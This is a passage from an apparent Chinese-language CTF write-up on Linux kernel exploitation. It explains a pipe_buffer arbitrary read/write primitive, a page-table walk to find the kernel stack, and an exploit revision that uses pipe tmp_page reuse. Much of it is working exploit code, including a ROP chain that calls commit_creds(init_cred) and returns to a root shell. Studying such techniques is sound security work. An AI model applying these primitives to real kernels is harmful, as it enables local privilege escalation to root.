4
5
6stack_addr_another = vaddr_resolve(pgd_addr, stack_addr);
stack_addr_another &= (~PAGE_ATTR_NX); /* N/X bit */
stack_addr_another += page_offset_base;
printf("\033[32m\033[1m[+] Got another virt addr of kernel stack: \033[0m"
"0x%lx\n\n", stack_addr_another);vaddr_resolve函数和vaddr_resolve_for_3_level差不多,只是多一层解析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22size_t vaddr_resolve(size_t pgd_addr, size_t vaddr)
{
size_t buf[0x1000];
size_t pud_addr, pmd_addr, pte_addr, pte_val;
arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pgd_addr), buf);
pud_addr = (buf[PGD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
pud_addr += page_offset_base;
arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pud_addr), buf);
pmd_addr = (buf[PUD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
pmd_addr += page_offset_base;
arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pmd_addr), buf);
pte_addr = (buf[PMD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
pte_addr += page_offset_base;
arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pte_addr), buf);
pte_val = (buf[PTE_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
return pte_val;
}构造rop链并写到栈上,尽量把rop链往后写前面用ret填充,这样就不用算偏移了(
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24/* construct the ROP */
for (int i = 0; i < ((0x1000 - 8 * 11) / 8); i++) {
rop[idx++] = RET + kernel_offset;
}
rop[idx++] = POP_RDI_RET + kernel_offset;
rop[idx++] = INIT_CRED + kernel_offset;
rop[idx++] = COMMIT_CREDS + kernel_offset;
rop[idx++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE +54 + kernel_offset;
rop[idx++] = *(size_t*) "arttnba3";
rop[idx++] = *(size_t*) "arttnba3";
rop[idx++] = (size_t) get_root_shell;
rop[idx++] = user_cs;
rop[idx++] = user_rflags;
rop[idx++] = user_sp;
rop[idx++] = user_ss;
stack_page = direct_map_addr_to_page_addr(stack_addr_another);
puts("[*] Hijacking current task's stack...");
sleep(5);
arbitrary_write_by_pipe((struct page*) stack_page, rop, 0xff0);函数和栈地址(rbp)一览(好长的调用链(lll¬ω¬))
1
2
3
4
5
6
7
8
9
10
11/* task_struct->stack = 0xffffc900005ff000 */
entry_SYSCALL_64 0xffffc900005ffff8 ↓
do_syscall_64 0xffffc900005fff48
__x64_sys_write 0xffffc900005ffe78
ksys_write 0xffffc900005ffe68
vfs_write 0xffffc900005ffe28
pipe_write 0xffffc900005ffd90
copy_page_from_iter 0xffffc900005ffce8
_copy_from_iter 0xffffc900005ffca8
copyin 0xffffc900005ffc10
rep_movs_alternative 0xffffc900005ffc10数据写入实际上发生在rep_movs_alternative中,这个函数退出时就开始执行调用链了
!!一个小(da)插曲!!
arttnba3的博客有提到会出现rop链写入失败不知道写到哪去了的问题
这是泄露的内核栈地址
但是内核实际上使用的栈地址(也是之后要写入rop链的栈地址)是stack_addr + 0x3000
arttnba3的原exp是泄露task_struct->stack(查找pgd时也是找的这一页),在写入的时候在对应页+ 3 * 0x40
1
2
3
4
5
6
7
8
9void pgd_vaddr_resolve(void)
{
stack_addr = tsk_buf[4];
}
void privilege_escalation_by_rop(void)
{
arbitrary_write_by_pipe((struct page*) (stack_page + 0x40 * 3), rop, 0xff0);
}但是实测stack使用的page不一定是物理连续的(ˉ▽ˉ;)…,所以会不知道写哪去了
所以更改一下最开始的stack泄露,直接+ 0x3000,查找pgd时直接查找这一页,写入也直接写入这一页
1
2
3
4
5
6
7
8
9void pgd_vaddr_resolve(void)
{
stack_addr = tsk_buf[4] + 0x3000;
}
void privilege_escalation_by_rop(void)
{
arbitrary_write_by_pipe((struct page*) stack_page, rop, 0xff0);
}
ps:干了件很sb的事就是把img的包重新打包的时候打成cpio了,md断点突然打不上了血压暴涨发出尖锐的爆鸣声(╯▔皿▔)╯
修改cred
init_cred为有着root权限的cred,我们可以直接将当前进程的cred修改为该cred以完成提权
arttnba3的exp里是使用task_struct->real_parent向前遍历直到task_struct->real_parent == &task_struct来寻找init进程(所有进程的父进程)的task_struct来寻找init_cred,这道题有init_cred地址就不遍历了(绝对不是因为我懒(‾◡◝))
ps:这里我又干了件很sb的事就是所有地址都多加了个kernel_base(ˉ▽ˉ;)…,🧠飞飞~
1 |
|
这种提权好像只是有概率成功……(・∀・(・∀・(・∀・*)
破案了,跟上面一样的问题,task_struct所在的两页不一定物理连续,所以cred可能又写到别的地方去了
更改后的exp
1 |
|
方法二
特别鸣谢nightu师傅的指导o(* ̄▽ ̄*)ブ
pipe_inode_info
pipe_inode_info结构体用于描述一个pipe
1 |
|
head、tail:使用的bufs的序号,头和尾
tmp_page:之前释放的page,已经读完数据
bufs:pipe_buffer结构体数组
重温一下pipe_buffer
1
2
3
4
5
6
7struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};- page:数据储存的页
- offset:read指针
- len:write指针 - read指针
- flags:一些flag,比如能否并入非full的buffer就是0x10
- private:ops使用的private data
tmp_page
tmp_page其实就是一个page的后备,可存一个page,在向一个新的pipe中write的时候如果tmp_page不为空则使用tmp_page的page,否则申请一个page
1 |
|
在pipe_read中,如果一个buf中的数据被读完了,调用pipe_buf_release
1 |
|
pipe_buf_release回先将pipe_buffer的ops置空,再调用对应的release函数,这里是anon_pipe_buf_release
1 |
|
在anon_pipe_buf_release中,如果pipe_buffer的page没有别人使用且tmp_page为空则将这个page放入tmp_page备用
1 |
|
注:
- 任何一页的内容读完再写入都会另起一个pipe_buffer
- pipe_buffer->flags没有0x10每次写入之后都会另起一个pipe_buffer
简单一些的利用方式
有这个特性利用的时候其实可以不用那么复杂
此时我们已经有了一个uaf
利用victim write修改snd_victim的目标pipe_buffer,指向要改的page
victim read读完刚修改的字节数
这时victim会将snd_victim所在page放回tmp_page
victim再次write的时候会另起一个pipe_buffer,使用tmp_page,也就是snd_victim所在的page,这样就达到了重复修改snd_victim的目的
不用担心pipe_buffer消耗完的事情,pipe_buffer会循环使用( •̀ ω •́ )✧
exp需要修改的部分
其实不需要两次uaf,但我用第二次uaf来确定pipd_buffer的index了
main函数中删去building_self_writing_pipe
1
2
3//building_self_writing_pipe();
info_leaking_by_arbitrary_pipe();setup_evil_pipe,消耗之前write的字节
1
2
3
4
5void setup_evil_pipe(void)
{
char temp_buf[0x1000];
read(pipe_fd[victim_pid][0], temp_buf, 0x60);
}arbitrary_read_by_pipe,要改的pipe_buffer是第三个
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19void arbitrary_read_by_pipe(struct page *page_to_read, void *dst)
{
char temp_buf[0x1000];
/* page to read */
evil_2nd_buf.offset = 0;
evil_2nd_buf.len = 0x1ff8;
evil_2nd_buf.page = page_to_read;
evil_2nd_buf.ops = info_pipe_buf.ops;
evil_2nd_buf.private = info_pipe_buf.private;
evil_2nd_buf.flags = info_pipe_buf.flags;
write(pipe_fd[victim_pid][1], temp_zero_buf, 96*2);
write(pipe_fd[victim_pid][1], &evil_2nd_buf, sizeof(evil_2nd_buf));
read(pipe_fd[snd_vicitm_pid][0], dst, 0xfff);
read(pipe_fd[victim_pid][0], temp_buf, 96*2 + sizeof(evil_2nd_buf));
}arbitrary_write_by_pipe
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18void arbitrary_write_by_pipe(struct page *page_to_write, void *src, size_t len)
{
char temp_buf[0x1000];
evil_2nd_buf.page = page_to_write;
evil_2nd_buf.offset = 0;
evil_2nd_buf.len = 0;
evil_2nd_buf.ops = info_pipe_buf.ops;
evil_2nd_buf.flags = info_pipe_buf.flags;
evil_2nd_buf.private = info_pipe_buf.private;
write(pipe_fd[victim_pid][1], temp_zero_buf, 96*2);
write(pipe_fd[victim_pid][1], &evil_2nd_buf, sizeof(evil_2nd_buf));
write(pipe_fd[snd_vicitm_pid][1], src, 0xfff);
read(pipe_fd[victim_pid][0], temp_buf, 96*2 + sizeof(evil_2nd_buf));
}rop的时候rsp要加8
TODO
KASLR机制,物理内存探测和映射什么的(其实就是继续系统启动,乐)
What is CFI?